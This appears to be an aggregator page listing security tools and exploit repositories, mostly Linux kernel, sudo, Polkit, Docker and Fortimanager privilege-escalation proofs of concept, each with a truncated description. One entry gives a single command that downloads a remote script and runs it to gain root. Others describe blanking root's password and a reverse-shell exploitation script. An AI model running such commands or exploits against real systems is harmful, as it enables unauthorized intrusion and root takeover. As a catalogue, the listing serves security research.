pspy

pspy - unprivileged Linux process snooping pspy is a command line tool designed to snoop on processes without need for root permissions. It allows you to see commands run by other users, cron jobs, etc. as they execute. Great for enumeration of Linux systems in CTFs. Also great to demonstrate you...

rosenbridge

project:rosenbridge : hardware backdoors in x86 CPUs github.com/xoreaxeaxeax/rosenbridge // domas // @xoreaxeaxeax Overview project:rosenbridge reveals a hardware backdoor in some desktop, laptop, and embedded x86 processors. The backdoor allows ring 3 userland code to circumvent processor...

GeoServer Demo Request Endpoint - Server Side Request Forgery

It is possible to achieve Server Side Request Forgery SSRF via the Demo request endpoint if Proxy Base URL has not been set. An unauthenticated user can supply a request that will be issued by the server, allowing enumeration of internal networks and, in the case of cloud instances, access to...

ipv6_frag_escape

IPV6FRAGESCAPE A reliable unprivileged container / jail escape proof of concept for CentOS / RHEL 10. It rides a now fixed IPv6 fragmentation bug in ip6appenddata closed upstream by 38becddc, no CVE, an in-slab linear overflow into the skbsharedinfo at the tail of a packet's own head object. This...

CVE-2026-46215-POC

CVE-2026-46215: DRM GEM changehandle Use-After-Free unprivileged LPE Local privilege escalation via a use-after-free in the DRM core ioctl DRMIOCTLGEMCHANGEHANDLE drmgemchangehandleioctl, ioctl nr 0xD2. Reachable by any user with access to a render node /dev/dri/renderD, granted to the active...

Astra Linux – vulnerability in linux-6.1

In the Linux kernel, the following vulnerability has been resolved: tipc: fix use-after-free of the discoverer in tipcdiscrcv bearerdisable frees b-disc using the plain kfree provided by tipcdiscdelete, but tipcdiscrcv still dereferences b-disc during the RX softirq under rcureadlock tipcudprecv ...

Astra Linux – vulnerability in linux-6.1

In the Linux kernel, the following vulnerability has been resolved: ALSA: seq: close a re-opened queue timer in the destructor queuedelete closes the queue timer and then frees it. sndseqtimerclose clears q-timer-timeri. snduselocksync drains any borrowers, and sndseqtimerdelete frees q-timer. A...

DEMO-Proof-of-Concept-Temporal-Memory-Inconsistency-in-cldflt.sys-CVE-2025-62221

Technical Analysis and Proof-of-Concept: Temporal Memory Inconsistency in cldflt.sys CVE-2025-62221 DEMO Proof-of-Concept: Temporal Memory Inconsistency in cldflt.sys CVE-2025-62221 CVE-2025-62221: This repository provides a comprehensive technical analysis and a Proof-of-Concept PoC demonstratio...

docker-POC_CVE-2024-1086

https://github.com/Notselwyn/CVE-2024-1086 usage docker compose up -d --build docker exec -it poccve20241086 bash test sample tester@e23a4e5757d9 CVE-2024-1086$ id uid=99999tester gid=99999tester groups=99999tester tester@e23a4e5757d9 CVE-2024-1086$ cat /etc/shadow cat: /etc/shadow: Permission...

CVE-2026-40369-EXPLOIT

Full Blog - https://pwn2nimron.com/blog CVE-2026-40369: Arbitrary Kernel Address Increment via NtQuerySystemInformation Class 253 Summary Type: Arbitrary kernel write increment — PRIVILEGE ESCALATION PRIMITIVE Component: ntoskrnl.exe — ExpGetProcessInformation Trigger:...

CVE-2026-31431

Description: Cfail is my implementation in C++ x86-64 Assembly of CVE-2026-31431 aka Copyfail, with no dependecy required at all, included libc. In fact, you obtain am universal executable able to run stand-alone on every Linux x86-64 distribution, thanks to a minimal implementation of the standa...

CVE-2026-80761

A flaw was found in the Linux kernel's Bluetooth ISO subsystem. The isosockgetname function fails to properly initialize the sockaddriso structure before returning it. This oversight allows an unprivileged attacker to read uninitialized kernel stack memory, leading to information disclosure...

CVE-2023-42791_CVE-2024-23666

Fortimanager insufficient authorization checks CVE-2024-23666 and unrestricted file upload CVE-2023-42791 exploitation scripts Two exploitation scripts leveraging these vulnerabilities are provided: rce.py: Provides a reverse shell or adds an arbitrary administrator from unprivileged access to th...

CVE-2018-17182

CVE-2018-17182 Linux kernel VMA-UAF privilege escalation vulnerability CVE-2018-17182 About Google Project Zero cybersecurity researchers have released details and a proof-of-concept PoC exploit for a high-severity vulnerability in the Linux kernel that has been present since kernel versions 3.16...

Vulnerable-Docker-Engine

CVE-2021-41091 This exploit offers an in-depth look at the CVE-2021-41091 security vulnerability and provides a step-by-step guide on how to utilize the exploit script to achieve privilege escalation on a host. Vulnerability Summary CVE-2021-41091 is a flaw in Moby Docker Engine that allows...

CVE-2021-3560

CVE-2021-3560 Polkit Instant Root Exploit You can run one command to root with Polkit CVE-2021-3560 vulnerable boxes by typing in: sh -c "$curl -sSL https://raw.githubusercontent.com/n3onhacks/CVE-2021-3560/main/polkit.sh" Or you can download the .sh or copy and paste it. Run and Instant Root. Us...

CVE-2025-32463

CVE-2025-32463 Local Privilege Escalation in Sudo via Malicious nsswitch.conf with sudo -R. Affected versions 1.9.14 – 1.9.17 📘 Introduction Sudo is a widely used command-line utility on Unix-like systems that allows permitted users to execute commands with elevated privileges. It plays a critica...

CVE-2022-0847

CVE-2022-0847 - Dirty Pipe Exploit A proof-of-concept exploit for CVE-2022-0847 Dirty Pipe, a Linux kernel vulnerability that allows unprivileged users to write to read-only files. Vulnerability Details CVE-2022-0847 affects Linux kernels 5.8 through 5.16. It exploits a race condition in the Linu...

CVE-2022-22706-poc

CVE-2022-22706 - Page-Cache Write The Arm Mali GPU driver hands userspace a CPU-writable mapping of pages it pinned read-only, so an unprivileged process gets a writable alias of the page cache backing a file it can only open ORDONLY. exploit.c blanks root's password field in the /etc/passwd page...

CVE-2020-11107

CVE-2020-11107 This is a writeup for CVE-2020-11107 I've found. An issue was discovered in XAMPP before 7.2.29, 7.3.x before 7.3.16 , and 7.4.x before 7.4.4 on Windows. An unprivileged user can change a .exe configuration in xampp-contol.ini for all users including admins to enable arbitrary...